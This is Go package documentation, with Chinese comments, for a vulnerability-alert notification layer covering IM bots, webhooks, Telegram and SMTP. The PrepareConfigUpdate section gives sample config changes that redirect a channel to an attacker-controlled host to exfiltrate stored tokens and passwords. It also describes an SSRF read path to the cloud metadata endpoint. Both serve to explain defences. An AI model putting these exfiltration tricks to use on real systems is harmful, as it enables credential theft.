Documentation
¶
Overview ¶
Package notify 实现漏洞发现的 IM / 邮件推送渠道适配层。
分层:本包是**叶子包**,只依赖标准库。它不认识数据库、不认识 server。渠道配置 以 map[string]any 传入(对应 notification_channels.config 这一 JSONB 列), 待推送内容以 Message 传入。这样拆开的好处是:签名计算、UTF-8 截断、过滤匹配这些 真正容易出错的地方可以脱离 PostgreSQL 单测,宿主只需在 server 侧做编排。
并发约定:Channel 的实现必须**无状态**。同一个 Channel 实例会被多个渠道配置 (甚至同一渠道的多个机器人实例)并发复用,所有凭据一律从 cfg 参数传入, 不允许把 webhook URL 之类的东西缓存进实现自身的字段。
Index ¶
- Constants
- func AtLeast(severity, min string) bool
- func IsMasked(v string) bool
- func IsPermanent(err error) bool
- func Kinds() []string
- func MaskConfig(kind string, cfg map[string]any) map[string]any
- func MaskedValue(secret string) string
- func Match(f Filter, s Snapshot) bool
- func MergeConfig(stored, incoming map[string]any) map[string]any
- func OneLine(s string, max int) string
- func Permanent(err error) error
- func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error)
- func SeverityLabel(severity string) string
- func SeverityRank(severity string) int
- func StatusLabel(status string) string
- func TruncateBytes(s string, max int) string
- func TruncateHTML(s string, max int) string
- func TruncateRunes(s string, max int) string
- func ValidKind(kind string) bool
- func ValidMinSeverity(s string) bool
- type Channel
- type ErrDestinationChangedWithoutCredentials
- type Filter
- type Item
- type Message
- type PermanentError
- type Snapshot
Constants ¶
const ( KindDingTalk = "dingtalk" // 钉钉自定义机器人 KindFeishu = "feishu" // 飞书(含 Lark)自定义机器人 KindWeCom = "wecom" // 企业微信群机器人 KindWebhook = "webhook" // 通用 Webhook:自定义方法/头/JSON 模板 KindTelegram = "telegram" // Telegram Bot API KindEmail = "email" // SMTP 邮件 )
渠道类型标识。取值同时是 notification_channels.kind 的合法集合,由 server 侧 白名单校验(与 findings.status 同理,不用 DB CHECK,方便后续加渠道)。
const ( EventFindingCreated = "finding_created" EventFindingStatusChanged = "finding_status_changed" )
事件类型,对应 notification_events.kind。
const AllowLocalTargetsEnv = "ARTEX_NOTIFY_ALLOW_LOCAL"
allowLocalTargets 决定是否允许把消息投递到环回 / 链路本地地址。
默认拒绝。这几段地址不是 IM 机器人或公网邮件服务器会出现的地方,而它们能 打到的东西很敏感:同机另一个服务的管理端口、以及云环境的元数据端点 (169.254.169.254,可读出实例凭据)。投递地址是管理员配的,但一个被 XSS/CSRF 借用的管理会话、或共用同一 JWT 的第二个人,都能靠改配置把响应内容读回来 ——doJSON 会把 4xx/5xx 的响应体前 200 字节写进 last_error,而投递历史接口 会把它回显出来,这就是一条半盲读原语。
但「本机 SMTP 中继」(127.0.0.1:25 上的 postfix)是自建邮件的常见配置, 一刀切会把人卡住。所以留一个显式逃生口而不是硬编码放行: 设置 ARTEX_NOTIFY_ALLOW_LOCAL=1 即允许。
导出为 AllowLocalTargetsEnv 是为了让测试能明确地打开它——本包与 server 包的 用例大量使用 127.0.0.1 上的 httptest 假接收端,不打开就全部被守卫拦下。
const InitKind = KindDingTalk
InitKind 是 config 里为空的 kind 的兜底值。
const MaskedPrefix = "__masked__"
MaskedPrefix 是掩码值的标记前缀。API 回显凭据时用带此前缀的值替换真实内容, 更新接口收到带此前缀的值即理解为「保持库中原值不变」。
用前缀而不是空串或某个固定常量,是为了能顺带带上一点可辨识信息 (见 MaskedValue),让用户区分得出「这是哪个机器人」而不必重新粘贴密钥。
Variables ¶
This section is empty.
Functions ¶
func AtLeast ¶
AtLeast 判断 severity 是否达到 min 门槛。min 为空表示不设门槛,一律通过。 注意未知 severity 的序数为 0,会被任何非空 min 拒掉(见 severityRank 注释)。
func MaskConfig ¶
MaskConfig 返回配置的副本,把该渠道的凭据字段替换成掩码值。
未知渠道类型返回空 map 而不是原配置——宁可让 UI 显示「配置不可用」, 也不要在渠道类型无法识别时把可能含凭据的原始内容整个吐回去。 非凭据字段原样保留,UI 才能正常展示。
func MaskedValue ¶
MaskedValue 生成一个掩码值:
"__masked__" 原值太短,不给任何提示 "__masked__:…ab12cd" 带上原值末 6 位作为辨识提示
只暴露末 6 位是刻意选择的:Webhook 地址的辨识信息在末段(如企业微信的 key、 飞书的机器人 id),而前缀部分各机器人相同、没有辨识价值。末 6 位不足以 还原凭据,但足以让配置者认出「是我那个群」。
func Match ¶
Match 判定一个事件是否应投递到带有该过滤条件的渠道。
**永不返回 error**,理由同 ParseFilter:任何内部异常都按「命中」处理。 判定顺序:事件类型 → 级别门槛 → 任务/资产范围 → 漏洞类型关键词。
func MergeConfig ¶
MergeConfig 把 incoming 合并到 stored 之上,用于更新渠道配置。
规则:
- incoming 里值为掩码的键 → 保留 stored 的原值(用户没改这个字段)
- incoming 里值为空串的键 → 视为显式清空,删除该键
- 其余键 → 用 incoming 的值覆盖
- stored 里有而 incoming 里没有的键 → 保留(局部更新语义)
空串是否算「清空」需要明确:前端表单把未填的字段提交为空串, 若把它当成有效值写入,会把「留空以保留原值」的字段真的清掉。 这里选择显式清空,因为要清除一个设错的字段时,用户没有别的表达方式 (拖走字段可区分「未提供」与「提供空值」,但 UI 用不到这个区别)。
func OneLine ¶
OneLine 把多行文本压成单行:折叠所有空白,再按字符数截断。 用于 IM 消息的标题行——摘要里常有换行,直接塞进表格/标题会撑坏排版。 max<=0 表示不限制长度。
func PrepareConfigUpdate ¶
PrepareConfigUpdate 合并渠道配置,并处理「目标地址变更」这一安全敏感情况。
它替代裸的 MergeConfig 用在渠道更新路径上,解决的是这样一条实测可行的路径: 目标地址(消息发往哪)与凭据(用什么身份发)是两套独立字段,而 MergeConfig 对「未提及的键」一律保留库中原值。于是任何能 PATCH 渠道的人只要**只改地址、 对凭据避而不谈**,就能让服务器把库里的真凭据发到自己控制的端点:
webhook {config:{url:"https://attacker.tld"}} → 原始 Authorization 头随请求外发
telegram {config:{base_url:"https://attacker.tld"}} → /bot<真Token>/sendMessage
email {config:{host:"smtp.attacker.tld"}} → STARTTLS 后交出用户名与密码
这条路径完全静默、不依赖重定向(所以拒绝跨主机跳转挡不住它), 而且直接击穿了本包掩码机制的目标——「凭据不回显给浏览器」。
规则:只要某个目的地键被改成新值,调用方就必须对**每一个**凭据键显式表态:
- 给出新值 → 用新值
- 显式传空串 → 该字段不再需要凭据(保留清空语义)
- 原样回传掩码值 / 干脆不提这个键 → 拒绝
第三种之所以也拒绝,是因为「掩码值」的含义正是「沿用旧凭据」,而旧凭据 只对旧地址有效。这里刻意不做「自动丢弃凭据」——那对可选凭据字段 (webhook 的 headers、email 的 password)会静默变成「鉴权没了但接口返回 200」, 比报错更难排查。宁可让操作者多填一次。
func SeverityLabel ¶
SeverityLabel 返回带 emoji 的中文级别名,用于消息标题与卡片配色。 未知级别原样回显,不臆造。
func TruncateBytes ¶
TruncateBytes 把 s 截断到不超过 max 字节,保证结果是合法 UTF-8 且不切断字符。
为什么必须按字符边界切:企微群机器人的 markdown 有 4096 **字节**硬上限(不是 字符数),而中文一个字 3 字节。直接按字节切片会把一个汉字切成两半,产出非法 UTF-8——平台侧要么整条拒收,要么显示成乱码方块。这里的做法是先从预算位置 往前回退到最近的 rune 起始字节(utf8.RuneStart 判定续字节 0b10xxxxxx)。
max<=0 表示不限制。截断后追加省略号,除非 max 小到装不下省略号。
func TruncateHTML ¶
TruncateHTML 按字符数截断 HTML 片段,并保证不产生半截标签。
直接对 HTML 做字符截断会切出 `<a href="htt` 这种残缺标签,平台解析器要么 报错拒收整条、要么把后续正文当成属性值吞掉。这里的做法是:先按字符截断, 再检查尾部是否有未闭合的 `<`,有就退到它之前。
不做标签配平(补全 </b> 之类):Telegram 的 HTML 解析器会自动闭合未闭合标签, 而自己实现配平要处理属性里的引号、注释、自闭合标签,复杂度与收益不成比例。
func TruncateRunes ¶
TruncateRunes 把 s 截断到不超过 max 个字符(而非字节),超出时追加省略号。 max<=0 表示不限制。
与 TruncateBytes 的区别在于平台口径:企微按字节限长,Telegram 按字符数限长。 用错口径不会报错,只会让消息被切得远比预期短(中文 1 字 = 3 字节, 按字节切 4096 只剩约 1365 字),所以两个函数都必须保留、按渠道选用。
func ValidMinSeverity ¶
ValidMinSeverity 报告 s 是否为合法的级别门槛(空串表示不设门槛)。
Types ¶
type Channel ¶
type Channel interface {
// Kind 返回渠道类型标识,须与注册表的键一致。
Kind() string
// Validate 在保存配置时调用,校验必填字段与格式。返回的错误会直接展示给
// 配置者,所以文案要说明「缺哪个字段」而不是泛泛的「配置无效」。
Validate(cfg map[string]any) error
// Send 投递一次消息,返回**实际送达的条目数**与错误。
//
// 为什么要返回条数:各平台都有消息长度上限,汇总消息装不下整批时会被截断。
// 若调用方无条件把整批标记为已送达,被截掉的那些条目就消失了——消息里看不到、
// 投递历史里也显示成功,没有任何地方能发现漏洞从未发出。返回 kept 后,
// 调用方只标记前 kept 条,其余留待下一批。
//
// 返回错误表示投递失败,其中 *PermanentError 表示不该重试。
// 失败时 kept 无意义,调用方应忽略它。
Send(ctx context.Context, cfg map[string]any, m Message) (int, error)
// DefaultRatePerMin 返回该渠道官方建议的每分钟投递上限,作为新建渠道实例
// 时的默认限流值。返回 0 表示无已知限制。
DefaultRatePerMin() int
// SecretKeys 返回该渠道配置里属于凭据的键名。API 回显时这些键的值会被掩码,
// 更新时收到掩码值则保留库中的原值。只有实现自己清楚哪些字段算凭据
// (企业微信的整个 Webhook 地址就是凭据,而钉钉的只是其中的 secret),
// 所以这个知识必须由渠道提供,不能由上层猜测。
SecretKeys() []string
// DestinationKeys 返回该渠道配置里决定「消息发往哪里」的键名。
//
// 与 SecretKeys 一样是安全相关的东西:目标地址与凭据是两套独立字段,
// 若允许「只改地址、凭据原样保留」,任何能改渠道配置的人都能把库里的真凭据
// 发到自己控制的服务器,渠道配置的掩码就完全失去意义。
// 详见 PrepareConfigUpdate。
DestinationKeys() []string
}
Channel 是一个通知渠道的适配器。实现必须**无状态**:同一个实例会被多个渠道 配置并发复用,凭据一律从 cfg 参数传入。
type ErrDestinationChangedWithoutCredentials ¶
type ErrDestinationChangedWithoutCredentials struct {
Changed []string // 发生变化的目的地键
Missing []string // 未显式表态的凭据键
}
ErrDestinationChangedWithoutCredentials 表示「目标地址变了,但调用方没有对 凭据字段表态」。返回它而不是默默放行或默默丢弃凭据,理由见 PrepareConfigUpdate。
func (*ErrDestinationChangedWithoutCredentials) Error ¶
func (e *ErrDestinationChangedWithoutCredentials) Error() string
type Filter ¶
type Filter struct {
// MinSeverity 是最低级别门槛(low/medium/high/critical),空=不设门槛。
MinSeverity string `json:"min_severity"`
// TaskIDs / AssetIDs 为空数组表示不限;非空则要求事件与它有交集。
TaskIDs []int64 `json:"task_ids"`
AssetIDs []int64 `json:"asset_ids"`
// VulnClassInclude 为空表示全收;非空则要求 vulnclass 命中其中任一关键词。
// VulnClassExclude 命中任一关键词即排除(排除优先于包含)。
// 匹配方式为大小写不敏感的子串——比正则安全:用户配错正则不会让渠道静默失效。
VulnClassInclude []string `json:"vulnclass_include"`
VulnClassExclude []string `json:"vulnclass_exclude"`
// OnStatusChange 决定该渠道是否接收漏洞状态变更事件(仅 realtime 模式有意义)。
OnStatusChange bool `json:"on_status_change"`
}
Filter 是 notification_channels.filter 这一 JSONB 列的契约:渠道实例的过滤条件。 所有字段都可选,缺省即「不过滤」——这正是畸形配置的兜底语义,见 ParseFilter。
func ParseFilter ¶
ParseFilter 解析渠道过滤配置。
**永不返回 error。** 这是刻意的设计选择:过滤条件配置畸形时一律退化为零值 Filter(= 不过滤 = 全部命中),因为对一个漏洞通知系统来说,**多推一条远好过 静默漏掉一条高危**。让解析失败变成「不推送」,等于给用户一个看起来配好了、 实际什么都不推的渠道——这是最糟的失败模式。
func (Filter) Validate ¶
Validate 校验过滤配置里**取值受限**的字段,供保存渠道时调用。
为什么必须在写入时拦:Match 对未知门槛的判定是 `rank >= 0`,恒为真—— 也就是说 min_severity 打错一个字("hgih"),过滤器会**静默失效**变成 「全推」。这与本包「宁可多推不可漏推」的取舍方向一致(不会漏), 但后果是用户以为自己在做分级推送、实际把全部漏洞灌进群里, 而且没有任何迹象提示他配错了。这类「静默降级」正应该在入口处拦掉。
注意 Validate 只用于**写入**路径。读取路径仍走 ParseFilter 的宽容语义, 这样历史数据里已经存在的坏值不会让渠道整个读不出来。
type Item ¶
type Item struct {
FindingID int64
Name string
VulnClass string
Severity string
Summary string
// Assets 是解析后的资产展示名(如域名/IP)。由 server 层填充——
// 本包不碰数据库,拿不到名字。
Assets []string
// DetailURL 是漏洞详情回链;为空表示未配 public_base_url,渲染时省略。
DetailURL string
// 状态变更事件专用;两项均非空时渲染成「待处理 → 已修复」。
FromStatus string
ToStatus string
}
Item 是一条待推送的漏洞,供渠道渲染。
type Message ¶
type Message struct {
// 单条推送时长度为 1;汇总推送(digest)时为一整批。
// 空切片是非法的,调用方须保证至少一条。
Items []Item
// Batch=true 时按汇总消息渲染(换标题、带上时间窗与条数)。
Batch bool
// WindowMinutes 是汇总周期(分钟),仅 Batch=true 时用于文案「近 N 分钟」。
// 刻意由配置显式传入而不是渲染时算 time.Since:渲染保持确定性,才好测。
WindowMinutes int
// HomeURL 是平台面板地址(全局 public_base_url);空则不带面板入口。
HomeURL string
}
Message 是一次渠道发送的完整内容。
type PermanentError ¶
type PermanentError struct{ Err error }
PermanentError 标记一个不该重试的投递失败:凭据错误、目标拒绝、请求体非法等。 重试只对瞬时故障(网络抖动、限流、对端 5xx)有意义;对永久失败反复退避重试 既不会成功,又会把真正的错误刷没在重试日志里。
func (*PermanentError) Error ¶
func (e *PermanentError) Error() string
func (*PermanentError) Unwrap ¶
func (e *PermanentError) Unwrap() error
type Snapshot ¶
type Snapshot struct {
// 事件类型:finding_created / finding_status_changed
Kind string `json:"kind"`
FindingID int64 `json:"finding_id"`
TaskID int64 `json:"task_id"`
VulnClass string `json:"vulnclass"`
Name string `json:"name"`
Severity string `json:"severity"`
Summary string `json:"summary"`
AssetIDs []int64 `json:"asset_ids"`
// 仅 kind=finding_status_changed 时非空。
FromStatus string `json:"from_status,omitempty"`
ToStatus string `json:"to_status,omitempty"`
}
Snapshot 是 notification_events.snapshot 这一 JSONB 列的契约。写方是 db 层的 漏洞落库事务,读方是 server 层的投递引擎与过滤匹配。定义放在本包是因为它是 「通知领域」的载荷:db 只负责序列化,不理解字段含义。
为什么冗余存漏洞字段而不在渲染时回查:漏洞事后会被改名、改级别、改状态, 而推送内容应当反映**事发当时**的结论——回查会得到「事后被改成 low」的 危险误导。另外 fan-out 与渲染因此不必 JOIN findings/tasks/assets 三张表。